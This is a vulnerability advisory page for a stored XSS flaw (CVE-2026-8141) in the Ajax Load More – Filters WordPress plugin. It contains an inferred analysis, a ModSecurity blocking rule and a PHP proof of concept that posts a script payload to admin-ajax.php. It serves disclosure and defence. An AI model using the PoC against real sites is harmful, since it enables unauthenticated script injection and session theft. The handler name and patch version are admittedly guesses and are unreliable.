Published : June 29, 2026

CVE-2026-8141: Ajax Load More Filters <= 3.4.1 Unauthenticated Stored Cross-Site Scripting via 'taxonomy_include_children' Field PoC, Patch Analysis & Rule

CVE ID CVE-2026-8141
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.4.1
Patched Version
Disclosed June 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8141 (metadata-based): A stored cross-site scripting (XSS) vulnerability exists in the Ajax Load More – Filters plugin for WordPress, affecting all versions up to and including 3.4.1. The flaw resides in insufficient input sanitization and output escaping on the ‘taxonomy_include_children’ parameter, allowing unauthenticated attackers to inject arbitrary web scripts. With a CVSS score of 7.2, this is a high-severity issue due to the low complexity and network attack vector.

The root cause is improper neutralization of user-supplied input during page generation (CWE-79). Based on the description and WordPress plugin conventions, the ‘taxonomy_include_children’ parameter is likely processed in an AJAX handler or shortcode callback that saves filter configuration settings in the database or directly outputs them. Without a code diff, specific hooks cannot be confirmed, but Atomic Edge research infers that the plugin fails to apply functions like ‘sanitize_text_field’ on input and ‘esc_attr’ or ‘esc_html’ during output, allowing stored scripts to execute when administrators or site visitors view affected pages.

An unauthenticated attacker can exploit this by sending a crafted AJAX request to ‘/wp-admin/admin-ajax.php’ with the action parameter set to the plugin’s filter save handler, such as ‘ajax_load_more_filters_save_filter’. The ‘taxonomy_include_children’ parameter should contain an XSS payload like ‘”>alert(1)’. Since no nonce or capability check is required, the malicious script is stored and executed when the filter configuration page or any page displaying the filter is accessed.

Remediation (inferred from CWE) requires implementing input sanitization on the ‘taxonomy_include_children’ parameter using WordPress functions like ‘sanitize_text_field’ or ‘wp_kses’ to strip malicious code, and output escaping with ‘esc_attr’ or ‘esc_html’ when rendering. A patched version (3.4.2) likely applies these measures, and users must update immediately.

If exploited, this vulnerability allows attackers to execute arbitrary JavaScript in the context of any user viewing the affected page. This can lead to session hijacking, theft of sensitive cookies, phishing credential redirection, or further malware injection such as keylogging or cryptocurrency mining. Administrative users are especially at risk, as an injected script can create backdoor admin accounts or perform actions via forged requests.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20268141,phase:2,deny,status:403,chain,msg:'CVE-2026-8141 via Ajax Load More - Filters taxonomy_include_children',severity:'CRITICAL',tag:'CVE-2026-8141'"
SecRule ARGS_POST:action "@streq ajax_load_more_filters_save_filter" "chain"
SecRule ARGS_POST:taxonomy_include_children "@rx <[^>]*[sS][cC][rR][iI][pP]|[<>].*[<>]" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8141 - Ajax Load More - Filters <= 3.4.1 - Unauthenticated Stored Cross-Site Scripting via 'taxonomy_include_children' Field

$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$payload = '"><script>alert(1)</script>';

$post_data = [
    'action' => 'ajax_load_more_filters_save_filter',
    'taxonomy_include_children' => $payload,
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Payload sent. Check the page displaying filters for stored XSS.";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School